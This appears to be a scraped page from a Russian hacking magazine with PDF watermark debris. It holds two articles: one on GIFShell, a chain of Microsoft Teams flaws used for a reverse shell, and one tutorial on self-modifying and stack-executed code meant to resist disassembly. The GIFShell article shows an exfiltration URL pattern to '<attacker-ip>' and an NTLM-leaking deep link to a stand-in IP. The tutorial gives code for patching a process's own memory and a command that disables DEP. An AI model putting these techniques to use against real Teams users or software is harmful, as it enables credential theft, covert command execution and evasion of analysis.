Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
20.31 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК РАБОТАЕТ УЯЗВИМОСТЬ

GIFSHELL

Попытки спрятать вредоносное содержимое в обычных графических файлах предпринимались уже давно, и некоторые из них даже были успешными. На днях в блоге BleepingComputer был опуб-

ликован отчет о новой уязвимости, позволяющей запускать reverse shell в Microsoft Teams при помощи обычных GIF-файлов. Давай посмотрим, как она работает.

Валентин Холмогоров

Ведущий редактор valentin@holmogorov.ru

Когда мы говорим о внедрении вредоносного кода в графические файлы, сразу вспоминается дроппер, который извлекал бинарник трояна из сохраненной на диске картинки, и другая малварь, искавшая в опубликованном на удаленном сервере изображении управляющие команды. Новый вектор атаки, получивший наименование GIFShell, похож на второй случай. Он позволяет киберпреступникам злоупотреблять недостатками корпоративной платформы Microsoft Teams для запуска reverse shell и выполнения на скомпрометированном компьютере вредоносных команд. Причем добиваются всего этого при помощи обычных GIF-файлов. Ну, почти обычных.

GIFShell представляет собой не одну конкретную уязвимость, а целую цепочку атак, использующих различные недочеты в архитектуре платформы Microsoft Teams. Всего уязвимостей обнаружено семь, их выявил и систематизировал независимый эксперт по кибербезопасности Бобби Раух. Например, пользователям Microsoft Teams доступна возможность отправлять друг другу вложенные файлы, причем эти вложения могут загружать содержимое с внешнего URL, а не по внутренней ссылке SharePoint. Эти файлы порой выглядят вполне безобидными, однако при этом содержат неприятный сюрприз. У пользователя Microsoft Teams нет никакой возможности предварительно проверить, вредоносно такое вложение или нет.

Кроме того, Microsoft Teams позволяет загружать картинки в формате GIF с удаленных серверов и отправлять пользователям GIF-файлы в кодировке HTML Base64 и никак не проверяет их содержимое. Поэтому можно спрятать внутри такого файла вредоносные команды. Платформа поддерживает небезопасные схемы URI, допускающие кражу хешей SMB NTLM или атаки типа NTLM Relay. Наконец, весь трафик Microsoft Teams направляется клиентам через серверы Microsoft, из-за чего антивирусы считают его легитимным и не замечают угрозы. Все это в совокупности открывает перед хакерами очень интересные возможности.

По соображениям безопасности пользователи Microsoft Teams из одной группы не имеют возможности напрямую обмениваться файлами с членами других групп. В окне отправки сообщения участнику другой команды попросту отсутствует кнопка с изображением скрепки, позволяющая прикрепить файл. Однако простые сообщения отправлять можно — многие администраторы даже не подозревают о том, что пользователи Teams по умолчанию могут получать сообщения от кого угодно.

Когда сообщение с вложением отправляется пользователю из той же группы, Microsoft Teams формирует ссылку SharePoint на вложенный файл, которая преобразуется в JSON и отправляется в виде POST-запроса на эндпойнт Teams. По умолчанию такую ссылку могут просматривать только отправитель и получатель сообщения. Но серверы Microsoft не проверяют, есть ли в ссылках SharePoint в теле JSON адреса сторонних серверов, поэтому такая ссылка может быть заменена любым URL. Это позволяет злоумышленнику выполнить атаку drive-by download. Кроме того, в этом JSON можно подменить и обозначение формата файла, вместо разрешенного JPEG передав, например, DLL

или EXE.

Самое интересное, что на промежуточных серверах не проверяется и этот параметр: получатель увидит, что в послание вложено изображение JPEG, разве что без предварительного просмотра. Если юзер наведет курсор мыши на это вложение, также будет продемонстрировано имя вложенной картинки, например Christmas_Party_Photo.jpeg, хотя на самом деле файл имеет имя

Christmas_Party_Photo.jpeg.............exe.

Вместо изображения в сообщении Teams может прятаться любой файл. Скриншот с сайта medium.com

Поскольку используемые Teams JSON не имеют никакой CSRF-защиты, злоумышленник может легко автоматизировать отправку вредоносных сообщений, скажем с помощью модуля на Python, обходя любые установленные Microsoft ограничения.

Так выглядит вредоносный JSON. Скриншот с сайта bleepingcomputer.com

Пример реализации такой атаки показан на видео.

Microsoft Teams поддерживает так называемую технологию deep linking. С ее помощью пользователи обмениваются ссылками, при нажатии на которые выполняются те или иные действия Teams. Например, чтобы отправить другому пользователю ссылку на чат, можно выслать ему такую запись:

msteams://l/chat/0/0?users=<email>

Любопытно, но ссылки deep linking серверы Microsoft тоже не проверяют на валидность, что позволяет добавлять в сообщения практически любые URI. Например, ссылку, которая загружает с сайта злоумышленников файл .xls и открывает его в Excel на машине жертвы:

ms-excel:/ofv|u|//10.10.10.10/ROPNOP/filename.xls

Кроме того, когда пользователь открывает такую ссылку, на машину атакующего отправляются данные SMB handshake, что позволяет злоумышленнику перехватить хеш NTLM и передать его контроллеру домена.

Следующая приятная для хакеров новость заключается в том, что файлы журналов Microsoft Teams, в которых записываются в том числе все сообщения вместе с их содержимым, хранятся в открытом виде на диске компьютера пользователя. Причем для чтения этих файлов не требуется даже наличия прав администратора. Например, в версии Microsoft Teams для работы или обучения журналы хранятся в следующей папке:

$HOME\AppData\Roaming\Microsoft\Teams\IndexedDB\https_teams.

microsoft.com_0.indexeddb.leveldb\*.log

Полученные сообщения сохраняются в этих журналах и доступны для чтения всем группам пользователей Windows, то есть любое вредоносное ПО на устройстве может беспрепятственно получить к ним доступ.

Для успешного выполнения атаки GIFShell злоумышленник первым делом при помощи гипноза социальной инженерии должен убедить потенциальную жертву запустить на своей машине вредоносный стейджер. Переслать его можно под видом безобидного JPEG-файла, модифицировав отвечающий за вложения в сообщения JSON (об этом методе было рассказано выше), или с помощью ссылки deep linking. Концепт такого стейджера выложен на GitHub Бобби Рауха. Для разработки своей программы автор использовал Python и PowerShell, но, в принципе, подобное приложение можно написать на любом языке программирования.

Затем злоумышленник формирует и отправляет жертве закодированные в Base64 GIF-файлы, в которые добавляет нужные ему системные команды. Такие GIF-файлы отображаются в окне Microsoft Teams как обычные картинки и вместе с самим сообщением сохраняются на диск в файл журнала. Стейджер на атакуемом компьютере сканирует журналы, ищет в них изображения в формате GIF/Base64, декодирует их, а затем выполняет спрятанные в Base64 команды с использованием PowerShell.

Итак, половина дела сделана: мы смогли выполнить команду на компьютере жертвы. Но ведь нужно еще передать ее вывод злоумышленнику! Для этого стейджер отслеживает выполнение команд на атакуемой машине, а затем

формирует URL вида http://<attacker-ip>/<base64-encoded-command- output>.gif, где attacker-ip — это IP-адрес сервера атакующего,

а base64-encoded-command-output — закодированный в Base64 вывод

выполненной команды. Этот URL упаковывается в так называемую карточку опроса Microsoft Teams — сообщение в формате JSON — и отправляется на серверы Microsoft Teams.

Когда сервер Microsoft получает такую карточку, он обращается к узлу атакующего (IP-адрес которого содержится в URL) и пытается скачать оттуда GIFфайл. Дальше все просто: в имени этого несуществующего GIF-файла зашифрован в Base64 вывод команды, выполненной на машине жертвы. Этот вывод расшифровывается и передается атакующему. Например, файл с именем

dGhlIHVzZXIgaXM6IA0KYm9iYnlyYXVjaDYyNzRcYm9iYnlyYXVJa0K.gif будет декодирован в вывод команды whoami, выполненной на скомпрометированном устройстве:

the user is:

bobbyrauch6274\bobbyrauIkBáë

Таким замысловатым образом реализуется достаточно эффективный обратный шелл — в опубликованном автором видео показано, как он работает.

Атакующие могут отправлять жертве большое количество картинок в формате GIF, содержащих команды, и получать информацию о выполнении спрятанных внутри команд. Поскольку все эти данные передаются через серверы Microsoft Teams и представляют собой обычный трафик приложения, антивирусы и брандмауэры не блокируют и не фильтруют его, что дает злоумышленникам полную свободу действий. Ну а поскольку Microsoft Teams работает как фоновый процесс, пользователю даже не нужно открывать его окно, чтобы вредоносные команды выполнились на его компьютере.

Бобби Раух проинформировал Microsoft об обнаруженных им уязвимостях в мае и июне 2022 года, но в Редмонде не посчитали их критически важными, и исследователь получил возможность обнародовать свою находку. Все описанные им атаки успешно выполнялись на Microsoft Teams версии 1.5.00.11163, и они гарантированно будут работать на более ранних версиях. Администраторы блога BleepingComputer обратились в Microsoft за комментариями по поводу устранения обнаруженных Раухом уязвимостей и получили такой ответ: «Некоторые уязвимости невысокой степени серьезности, которые не представляют непосредственной угрозы для пользователей, не являются приоритетными для немедленного обновления безопасности, но возможность их исправления будет рассмотрена в следующей версии ПО».

Иными словами, Microsoft не торопится исправлять проблемы с безопасностью, а значит, злоумышленники могут пользоваться ими и в дальнейшем. Поэтому пользователям Microsoft Teams следует проявлять особую осторожность и бдительность, если они не хотят стать жертвой хакеров.

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

БОРЕМСЯ С ДИЗАССЕМБЛЕРАМИ

И ЗАТРУДНЯЕМ РЕВЕРС ПРОГРАММ

Крис Касперски

Известный российский хакер. Легенда ][, exредактор ВЗЛОМа. Т акже известен под псевдонимами мыщъх, nezumi (яп. , мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.

Юрий Язев

Широко известен под псевдонимом yurembo.

Программист , разработчик видеоигр, независимый исследователь. Старый автор журнала «Хакер». yazevsoft@gmail.com

Каждый разработчик программ стремится защитить результат своего труда от взлома. Сегодня нам предстоит исследовать способы противостояния самому популярному виду хакерского инструментария — дизассемблерам. Нашей целью будет запутать хакера, отвадить его от взлома нашей программы, всевозможными способами затруднить ее анализ.

Пятнадцать лет назад эпический труд Криса Касперски «Фундаментальные основы хакерства» был настольной книгой каждого начинающего исследователя в области компьютерной безопасности. Однако время идет, и знания, опубликованные Крисом, теряют актуальность. Редакторы «Хакера» попытались обновить этот объемный труд и перенести его из времен Windows 2000 и Visual Studio 6.0 во времена Windows 10 и Visual Studio 2019.

Ссылки на другие статьи из этого цикла ищи на странице автора.

Продолжаем держать оборону нашего приложения от атак злобных хакеров — от их попыток «за просто так» воспользоваться плодами нашего труда, от их подозрительного интереса к нашим программам и скрываемым в них секретам. Для этого мы продолжим создавать изощренные системы защиты, на сей раз — от дизассемблирования.

Чтобы справиться с задачей, нам необходимо узнать о внутренних механизмах операционной системы, о средствах работы с памятью. Также придется разобраться в работе компиляторов, понять, как они генерируют код, вычислить плюсы и минусы оптимизации. И наконец, погрузиться в шифрование, научиться расшифровывать программный код на лету непосредственно перед выполнением.

САМОМОДИФИЦИРУЮЩИЙСЯ КОД В СОВРЕМЕННЫХ ОПЕРАЦИОННЫХ СИСТЕМАХ

В эпоху расцвета MS-DOS программисты широко использовали самомодифицирующийся код, без которого не обходилась практически ни одна мало-маль- ски серьезная защита. Да и не только защита — он встречался в компиляторах, компилирующих код непосредственно в память, в распаковщиках исполняемых файлов, в полиморфных генераторах и так далее.

Когда началась массовая миграция пользователей на Windows, разработчикам пришлось задуматься о переносе накопленного опыта и приемов программирования на новую платформу. От бесконтрольного доступа к железу, памяти, компонентам операционной системы и связанных с ними хитроумных трюков программирования пришлось отвыкать. В частности, стала невозможна непосредственная модификация исполняемого кода приложений, поскольку Windows защищает его от непреднамеренных изменений. Это привело к рождению нелепого убеждения, будто под Windows создание самомодифицирующегося кода вообще невозможно, по крайней мере без использования недокументированных возможностей операционной системы.

На самом деле существует как минимум два документированных способа изменить код приложений, хорошо работающих под Windows NT и вполне удовлетворяющихся привилегиями гостевого пользователя.

Во-первых, kernel32.dll экспортирует функцию WriteProcessMemory,

предназначенную, как и следует из ее названия, для модификации памяти процесса. Во-вторых, практически все операционные системы, включая Windows и Linux, разрешают выполнение и модификацию кода, размещенного в стеке. Между тем современные версии указанных операционных систем накладывают на стек ограничения, мы подробно поговорим об этом чуть позднее.

В принципе, задача создания самомодифицирующегося кода может быть решена исключительно средствами языков высокого уровня, таких, например, как C/C++ и Delphi, без применения ассемблера.

Архитектура памяти Windows

Создание самомодифицирующегося кода требует знания некоторых тонкостей архитектуры Windows, не очень-то хорошо освещенных в документации. Точнее, совсем не освещенных, но от этого отнюдь не приобретающих статус «недокументированных особенностей», поскольку, во-первых, они одинаково реализованы на всех Windows-платформах, а во-вторых, их активно использует компилятор Visual C++ от Microsoft. Отсюда следует, что никаких изменений даже в отдаленном будущем компания не планирует; в противном случае код, сгенерированный этим компилятором, откажет в работе, а на это Microsoft не пойдет (вернее, не должна пойти, если верить здравому смыслу).

В режиме обратной совместимости для адресации четырех гигабайт виртуальной памяти, выделенной в распоряжение процесса, Windows использует два селектора, один из которых загружается в сегментный регистр CS, а другой — в регистры DS, ES и SS. Оба селектора ссылаются на один и тот же базовый адрес памяти, равный нулю, и имеют идентичные лимиты, равные четырем гигабайтам. Помимо перечисленных сегментных регистров, Windows еще использует регистр FS, в который загружает селектор сегмента, содержащего информационный блок потока — TIB.

Фактически существует всего один сегмент, вмещающий в себя и код, и данные, и стек процесса. Благодаря этому управление коду, расположенному в стеке, передается близким (near) вызовом или переходом, и для доступа к содержимому стека использование префикса SS совершенно необязательно. Несмотря на то что значение регистра CS не равно значению регистров DS, ES и SS, команды

MOV dest,CS:[src]

MOV dest,DS:[src]

MOV dest,SS:[src]

в действительности обращаются к одной и той же ячейке памяти.

Это точный прообраз реализованной в процессорах на архитектуре x86-64 RIP-относительной адресации памяти, в которой не используются сегменты.

Отличия между регионами кода, стека и данных заключаются в атрибутах принадлежащих им страниц: страницы кода допускают чтение и исполнение, страницы данных — чтение и запись, а стека — чтение, запись и исполнение одновременно.

Помимо этого, каждая страница имеет специальный флаг, определяющий уровень привилегий, которые необходимы для доступа к этой странице. Некоторые страницы, например те, что принадлежат операционной системе, требуют наличия прав супервизора, которыми обладает только код нулевого кольца. Прикладные программы, исполняющиеся в кольце 3, таких прав не имеют и при попытке обращения к защищенной странице порождают исключение. Манипулировать атрибутами страниц, равно как и ассоциировать страницы с линейными адресами, может только операционная система или код, исполняющийся в нулевом кольце.

Среди начинающих программистов ходит совершенно нелепая байка о том, что, если обратиться к коду программы командой, предваренной префиксом DS, Windows якобы беспрепятственно позволит его изменить. На самом деле это в корне неверно — обратиться-то она позволит, а вот изменить — нет, каким бы способом ни происходило обращение, так как защита работает на уровне физических страниц, а не логических адресов.

Использование функции WriteProcessMemory

Если требуется изменить некоторое количество байтов своего (или чужого) процесса, самый простой способ сделать это — вызвать функцию WriteProcessMemory. Она позволяет модифицировать существующие страницы памяти, чей флаг супервизора не взведен, то есть все страницы, доступные из кольца 3, в котором выполняются прикладные приложения. Совершенно бесполезно с помощью WriteProcessMemory пытаться изменить критические структуры данных операционной системы (например, page directory или page table) — они доступны лишь из нулевого кольца. Поэтому указанная функция не представляет никакой угрозы для безопасности системы и успешно вызывается независимо от уровня привилегий пользователя.

Процесс, в память которого происходит запись, должен быть предварительно открыт функцией OpenProcess с атрибутами доступа

PROCESS_VM_OPERATION и PROCESS_VM_WRITE. Часто программисты, ленивые от природы, идут более коротким путем, устанавливая все атрибуты — PROCESS_ALL_ACCESS. И это вполне законно, хотя справедливо считается дурным стилем программирования.

Далее приведен простой пример self-modifying_code, иллюстрирующий использование функции WriteProcessMemory для создания самомодифицирующегося кода:

#include <iostream> #include <Windows.h>

using namespace std;

int WriteMe(void* addr, int wb)

{

HANDLE h = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE , true, GetCurrentProcessId());

return WriteProcessMemory(h, addr, &wb, 1, NULL);

}

int main(int argc, char* argv[])

{

_asm {

push 0x74 ; JMP -> JZ push offset Here

call WriteMe add esp, 8

Here: JMP short here

}

cout << "#JMP SHORT $-2 was changed to JZ $-2\n"; return 0;

}

Функция WriteProcessMemory в рассматриваемой программе заменяет инструкцию бесконечного цикла JMP short $-2 условным переходом JZ $-2, который продолжает нормальное выполнение программы. Неплохой способ затруднить взломщику изучение приложения, не правда ли? Особенно если вызов WriteMe не расположен возле изменяемого кода, а помещен в отдельный поток. Будет еще лучше, если модифицируемый код вполне естественен сам по себе и внешне не вызывает никаких подозрений. В этом случае хакер может долго блуждать в той ветке кода, которая при выполнении программы вообще не получает управления.

Для компиляции этого примера установи 32-битный режим результирующего кода.

Результат выполнения приложения self-modifying_code

Если из ассемблерной вставки перезаписывает инструкцию JMP цикл.

убрать вызов функции WriteMe, которая на JZ, программа выпадет в бесконечный

Вызов функции закомментирован

Программа зациклена

Поскольку Windows для экономии оперативной памяти разделяет код между процессами, возникает вопрос: а что произойдет, если запустить вторую копию самомодифицирующейся программы? Создаст ли операционная система новые страницы или отошлет приложение к уже модифицируемому коду? В документации на Windows NT сказано, что она поддерживает копирование при записи (copy on write), то есть автоматически дублирует страницы кода при попытке их модифицировать. Напротив, Windows 9x не поддерживает такую возможность. Означает ли это, что все копии самомодифицирующегося приложения будут вынуждены работать с одними и теми же страницами кода (а это неизбежно приведет к конфликтам и сбоям)?

Нет, и вот почему: несмотря на то что копирование при записи в Windows 9x не реализовано, эту заботу берет на себя сама функция WriteProcessMemory, создавая копии всех модифицируемых страниц, распределенных между процессами. Благодаря этому самомодифицирующийся код одинаково хорошо работает как под Windows 9x, так и под Windows NT. Однако следует учитывать, что все копии приложения, модифицируемые любым иным путем (например, командой mov нулевого кольца), если их запустить под Windows 9x, будут разделять одни и те же страницы кода со всеми вытекающими отсюда последствиями.

Теперь об ограничениях. Во-первых, использовать WriteProcessMemory разумно только в компилирующих в память компиляторах или распаковщиках исполняемых файлов, а в защитах — несколько наивно. Мало-мальски опытный взломщик быстро обнаружит подвох, увидев эту функцию в таблице импорта. Затем он установит точку останова на вызов WriteProcessMemory и будет контролировать каждую операцию записи в память. А это никак не входит в планы разработчика защиты!

Другое ограничение WriteProcessMemory заключается в невозможности создания новых страниц, ей доступны лишь существующие страницы. А как быть, если требуется выделить некоторое количество памяти, например для кода, динамически генерируемого на лету? Вызов функций управления кучей, таких как malloc или new, не поможет, поскольку в куче выполнение кода запрещено. И вот тогда-то на помощь приходит возможность выполнения кода в стеке...

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

c

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИ w.

 

 

c

 

 

 

 

 

 

.co

 

 

 

 

to

BUY

 

 

 

 

 

w Click

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

БОРЕМСЯ С ДИЗАССЕМБЛЕРАМИ

И ЗАТРУДНЯЕМ РЕВЕРС ПРОГРАММ

ВЫПОЛНЕНИЕ КОДА В СТЕКЕ

Разрешение на выполнение кода в стеке объясняется тем, что исполняемый стек необходим многим программам, в том числе и самой операционной системе для выполнения некоторых системных функций. Благодаря этому компиляторам и компилирующим интерпретаторам проще генерировать код.

Однако вместе с этим увеличивается и потенциальная угроза атаки. Если выполнение кода в стеке разрешено и при определенных обстоятельствах из-за ошибок реализации управление передается на введенные пользователем данные, злоумышленник получает возможность передать и выполнить на удаленной машине свой собственный зловредный код. Для операционных систем Solaris и Linux можно установить «заплатки», которые запретят исполнение кода в стеке, но они не имеют большого распространения, поскольку делают невозможной работу множества программ. Большинству пользователей легче смириться с угрозой атаки, чем остаться без необходимых приложений.

Не все гладко с исполнением кода в стеке в ОС Windows. Начиная со второго пакета обновления для Windows XP, в системе появилась функция безопасности DEP (Data Execution Prevention). Во включенном состоянии она запрещает выполнение кода на определенных страницах памяти, в том числе и в стеке. Но, как в случае с *.nix-системами, ее часто отключают, чтобы пользоваться компьютером по полной.

Поэтому использование стека для выполнения самомодифицирующегося кода вполне законно и системно-независимо, то есть универсально. Помимо этого, такое решение устраняет оба недостатка функции WriteProcessMemory:

Во-первых, выявлять и отслеживать модифицирующие заранее неизвестную ячейку памяти команды чрезвычайно трудно, и взломщику придется провести кропотливый анализ кода защиты без надежды на скорый успех (при условии, что сам защитный механизм реализован без грубых ошибок, облегчающих задачу хакера).

Во-вторых, приложение в любой момент может выделить столько стековой памяти, сколько ему заблагорассудится, а затем, при исчезновении потребности, ее освободить. По умолчанию система резервирует один мегабайт стекового пространства, а если этого для решения поставленной задачи недостаточно, нужное количество можно указать при компоновке программы.

Замечательно, что для выполняющихся в стеке программ справедлив принцип фон Неймана — в один момент времени текст программы может рассматриваться как данные, а в другой — как исполняемый код. Именно это необходимо для нормальной работы всех распаковщиков и расшифровщиков исполняемого кода.

Однако программирование кода, выполняющегося в стеке, имеет ряд специфических особенностей.

«Подводные камни» перемещаемого кода

При разработке выполняющегося в стеке кода следует учитывать, что в разных версиях Windows местоположение стека может различаться и, чтобы сохранить работоспособность при переходе от одной системы к другой, код должен быть безразличен к адресу, по которому он будет загружен. Такой код называют перемещаемым, и в его создании нет ничего сложного: достаточно следовать нескольким простым соглашениям.

Замечательно, что у микропроцессоров серии Intel 80x86 все короткие переходы (short jump) и близкие вызовы (near call) относительны, то есть содержат не линейный целевой адрес, а разницу целевого адреса и адреса следующей выполняемой инструкции. Это значительно упрощает создание перемещаемого кода, но вместе с этим накладывает на него некоторые ограничения.

Что произойдет, если вот такую функцию скопировать в стек и передать ей управление?

void Demo()

{

printf("Demo\n");

}

Поскольку инструкция call, вызывающая функцию printf, «переехала» на новое место, разница адресов вызываемой функции и следующей за call инструкции станет совсем иной и управление получит отнюдь не printf, а не имеющий к ней никакого отношения код! Вероятнее всего, им окажется «мусор», порождающий исключение с последующим аварийным закрытием приложения.

Программируя на ассемблере, такое ограничение можно легко обойти, используя регистровую адресацию. Перемещаемый вызов функции printf упрощенно может выглядеть, например, так:

lea eax, printf

call eax

В регистр EAX (или любой другой регистр общего назначения) заносится абсолютный линейный, а не относительный адрес, и независимо от положения инструкции call управление будет передано функции printf, а не чему-то еще.

Однако такой подход требует знания ассемблера, поддержки компилятором ассемблерных вставок и не очень-то нравится прикладным программистам, не интересующимся командами и устройством процессора.

Для решения этой задачи исключительно средствами языка высокого уровня необходимо передать стековой функции указатели на вызываемые ею функции в виде аргументов. Это несколько неудобно, но более короткого пути, по-видимому, не существует. Далее приведен текст программы stack_execute, иллюстрирующей копирование и выполнение функции в стеке:

#include <stdio.h>

void Demo(int (*_printf) (const char*, ...))

{

_printf("Hello, World!\n"); return;

}

int main(int argc, char* argv[])

{

char buff[1000];

int (*_printf) (const char*, ...); int(*_main) (int, char**);

void (*_Demo) (int (*) (const char*, ...)); _printf = printf;

_main = main; _Demo = Demo;

int func_len = (unsigned int)_main - (unsigned int)_Demo;

for (int a = 0; a < func_len; a++) buff[a] = ((char*)_Demo)[a];

_Demo = (void (*) (int (*) (const char*, ...))) &buff[0]; _Demo(_printf);

return 0;

}

Но не спеши компилировать и запускать приложение. Для построения программы надо выбрать платформу x86 и режим выпуска Release. В противном случае, хотя приложение будет успешно построено, оно не выведет приветственную строку на экран, так как при установке режима Release автоматически отключаются отладочные механизмы компиляции, которые в данном случае могут испортить картину.

Вдобавок надо отключить DEP. Когда он включен, как мы знаем, Windows накладывает запрет на исполнение кода в стеке, следовательно, программа stack_execute ничего не выведет на экран и сразу завершит свой процесс, потому что, произведя определенные манипуляции, она копирует функцию Demo в стек и запускает ее уже оттуда. И только последняя выводит строку на консоль.

В нашем случае включение программы в список исключений DEP не увенчалось успехом, stack_execute в таком случаем по-прежнему не выводила строку.

Список программ-исключений, на которые DEP влиять не должен

Поэтому пришлось отключить DEP глобально, на уровне всей системы.

Взапущенной от имени администратора консоли надо ввести:

bcdedit.exe /set {current} nx AlwaysOff — чтобы выключить

DEP;

bcdedit.exe /set {current} nx AlwaysOn — чтобы включить DEP.

Дополнительно нелишним будет отключить оптимизацию: во-первых, так удобнее отлаживать программу, поскольку оптимизатор «съедает» ненужные, на его взгляд, переменные; во-вторых, они могут быть проинициализированы, но, по мнению компилятора, не использованы, из-за чего они опять будут удалены из бинарника. А это, в свою очередь, может сказаться на правильной работе приложения. Да, бывает и такое. Поэтому надо следить за работой компилятора, чтобы он не удалил чего-нибудь лишнего!

После перезагрузки операционной системы stack_execute будет работать как надо и выводить приветственную строку.

Корректный вывод приветственной строки функцией, вызванной из стека

Кроме того, обрати внимание, как функция printf в предыдущем листинге выводит приветствие на экран. На первый взгляд, ничего необычного, но задумайся, где размещена строка «Hello, World!». Разумеется, не в сегменте кода — там ей не место (хотя некоторые компиляторы помещают ее именно туда). Выходит, в сегменте данных, там, где ей и положено быть? Но если так, то одного лишь копирования тела функции окажется явно недостаточно, придется скопировать и саму строковую константу. А это утомительно. Но существует и другой способ — создать локальный буфер и инициализировать его по ходу выполнения программы, например так:

...buf[666]; buff[0] = 'H'; buff[1] = 'e'; buff[2] = 'l'; buff[3]= 'l'; buff[4]= 'o';

Не самый короткий, но из-за его простоты широко распространенный путь.

Плюсы и минусы оптимизирующих компиляторов

Применяя языки высокого уровня для разработки выполняемого в стеке кода, следует учитывать особенности реализаций используемых компиляторов и, прежде чем останавливать свой выбор на каком-то одном из них, основательно изучить прилагаемую документацию. В большинстве случаев код функции, скопированный в стек, с первой попытки запустить не получится, особенно если включена оптимизированная компиляция.

Так происходит потому, что на чистом языке высокого уровня, таком как C/C++ или Delphi, скопировать код функции в стек (или куда-то еще) принципиально невозможно, поскольку стандарты языка не оговаривают, каким именно образом должна выполняться компиляция. Программист может получить указатель на функцию, но в стандарте не описано, как следует ее интерпретировать. С точки зрения программиста, она представляет «магическое число», в назначение которого посвящен один лишь компилятор.

К счастью, логика кодогенерации большинства компиляторов более или менее одинакова, и это позволяет прикладной программе сделать некоторые предположения об организации откомпилированного кода.

В частности, программа, рассмотренная ранее, молчаливо полагает, что указатель на функцию совпадает с точкой входа в эту функцию, а все тело функции расположено непосредственно за точкой входа. Именно такой код (наиболее очевидный с точки зрения здравого смысла) и генерирует подавляющее большинство компиляторов. Большинство, но не все! Тот же Microsoft Visual C++ в режиме отладки вместо функций вставляет «переходники», а сами функции размешает совсем в другом месте. В результате в стек копируется содержимое «переходника», но не само тело функции! Из-за этого при компиляции нашего примера был выбран режим Release.

У других компиляторов способ переключения этой опции может значительно отличаться, а в худшем случае — вообще отсутствовать. Если это так, придется отказаться либо от самомодифицирующегося кода, либо от данного компилятора.

Еще одна проблема: как достоверно определить длину тела функции? Язык C/C++ не дает никакой возможности узнать значение этой величины, а оператор sizeof возвращает размер указателя на функцию, но не размер самой функции. Одно из возможных решений опирается на тот факт, что компиляторы, как правило, располагают функции в памяти согласно порядку их объявления в исходной программе. Следовательно, длина тела функции равна разности указателя на следующую за ней функцию и указателя на данную функцию.

Поскольку Windows-компиляторы в режиме x86 представляют указатели 32разрядными целыми числами, их можно безболезненно преобразовывать в тип unsigned int и выполнять над ними различные математические операции. К сожалению, оптимизирующие компиляторы не всегда располагают функции в таком простом порядке, а в некоторых случаях даже «разворачивают» их, подставляя содержимое функции на место ее вызова. Поэтому соответствующие режимы оптимизации (если они есть) придется отключить.

